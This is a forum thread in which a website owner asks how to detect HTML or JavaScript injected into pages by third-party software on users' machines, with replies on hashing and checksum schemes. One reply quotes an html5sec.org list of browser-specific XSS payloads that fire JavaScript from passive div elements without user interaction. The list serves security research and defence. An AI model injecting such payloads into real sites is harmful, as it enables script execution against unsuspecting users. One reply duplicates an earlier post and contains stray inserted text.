any ideas to detect html manipulation on user client?

[delare]

Hi,

sorry vor mei englisch, maybe it's not the right forum for this question but i don't want create a account on a special forum for just one question.

After I read an article about a security application that injects javascript into websites with similiar of man-in-the-middle-attack (the article means that). I asked my self, is there a way for me as website owner to detect this? (Yes, it is a Windows application that does it (not from MS))

My intention is not to detect content blocking, i dont have ADs on my website and I also use a extension for blocking stuff. I have no problems if someone blocks some stuff on my website.

The point is to protect the user and also me (website owner) by code injection from unknown third party. If even the end-user does not know that his application does code injection, who can realy say: this is nothing to worry about this?

The once, what i could do is, after the server genereated that document, is to count the usual html tags like div, p, iframe, script, img, picture, a ... and compare this after loading this what the user finaly got. Sure, comparing goes with javascript, and he could disable it.

[pylkko]

Not sure, never done it. But files are verified with hash sums, perhaps you could do that with some js trickery, after all, the html page is a file...or many files linked, but you get hte point

[delare]

i think it does not work well. it is ok for static files like jpg, js, css and so on. But the problem with html is, that a browser could completes tags if he think its required.

As example, you use a table-tag with tr and td but without tbody. Not sure if all doing this, but some adding the missing tbody. It may also get in conflict with browser extensions that changes the html.

This means the final HTML can have differs hash like the source from server.

Hmm, yes, its not easy to detect a potential evil injection. too much options for injection to detect them all

[felipejones]

i think it does not work well. it is ok for static files like jpg, js, css and so on. But the problem with html is, that a browser could completes tags if he think its required. google street view

As example, you use a table-tag with tr and td but without tbody. Not sure if all doing this, but some adding the missing tbody. It may also get in conflict with browser extensions that changes the html.

This means the final HTML can have differs hash like the source from server.

Hmm, yes, its not easy to detect a potential evil injection. too much options for injection to detect them all

Thank you. Now I understand more.

[andre@home]

Indeed more a website security question than a Debian.

Consider to look on pages that discuss this topic.
I've found this one, maybe you can add it to the default html from your CMS package, else look on the forums of your CMS package how they deal with it, I think you may easily find a better answer than mine....
https://html5sec.org/

XSS without User Interaction from passive Elements#145test
Often, an attacker can only inject into a "passive" element, meaning for instance a DIV or a SPAN. For those elements, it's not always trivial to execute injected JavaScript without user interaction (such as clicks or mouse events). If the element injected into is outside the visible range, it becomes hard to prove that the injection is in fact exploitable. For this reason, this item lists all currently known ways of executing JavaScript without user interaction from passive elements. The list is expected to grow over time.

Note, that for some of the attacks here, the string "#xss" needs to be appended to the URL of the injected page.

Code: Select all

#Chrome, Opera, Safari and Edge
<div onfocus="alert(1)" contenteditable tabindex="0" id="xss"></div>
<div style="-webkit-user-modify:read-write" onfocus="alert(1)" id="xss">
<div style="-webkit-user-modify:read-write-plaintext-only" onfocus="alert(1)" id="xss">

# Firefox
<div onbeforescriptexecute="alert(1)"></div>
<script>1</script>

#MSIE10/11 & Edge
<div style="-ms-scroll-limit:1px;overflow:scroll;width:1px" onscroll="alert(1)">

#MSIE10
<div contenteditable onresize="alert(1)"></div>

# MSIE11
<div onactivate="alert(1)" id="xss" style="overflow:scroll"></div>
<div onfocus="alert(1)" id="xss" style="display:table">
<div id="xss" style="-ms-block-progression:bt" onfocus="alert(1)">
<div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="alert(1)">
<div id="xss" style="float:left" onfocus="alert(1)">

# Chrome, Opera, Safari
<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart="alert(1)"></div>

# Chrome, Opera, Safari
<style>
div {width: 100px;}
div:target {width: 200px;}
</style>
<div id="xss" onwebkittransitionend="alert(1)" style="-webkit-transition: width .1s;"></div>

# Safari

[reinob]

Interesting question.

I have no answer, but maybe a possible implementation would be where the server adds to each generated page (i.e. before serving it to the client) a javascript snippet which retrieves a checksum (hash) from a unique file, which is also generated at the same time and stores the hash of the page after the snippet has been added.

Like (S is for server, C for client, i.e. web page)

Code: Select all

S1. generate unique file name
S2. add snippet to javascript, which
   C1. reads from said file
   C2. calculates its own checksum
   C3. compares
S3. create file with name of (1)
S4. store hash of amended html page at file
S5. send the page to the client

Not sure if I'm missing anything, but it could just work. Of course you need to make changes to how the server works, but maybe writing an apache or nginx module to that effect would not be too hard (I have to pass on that one, as I have zero experience on that).

In case C2 is not possible, i.e. javascript may not be able to calculate the hash of the page as-served, but only as-parsed (DOM and such), maybe just injecting not only the unique file name but a unique (random) identifier into the page, and then having it compare the identifier with one read from the unique file name at the server might to the job as well.

Cheers.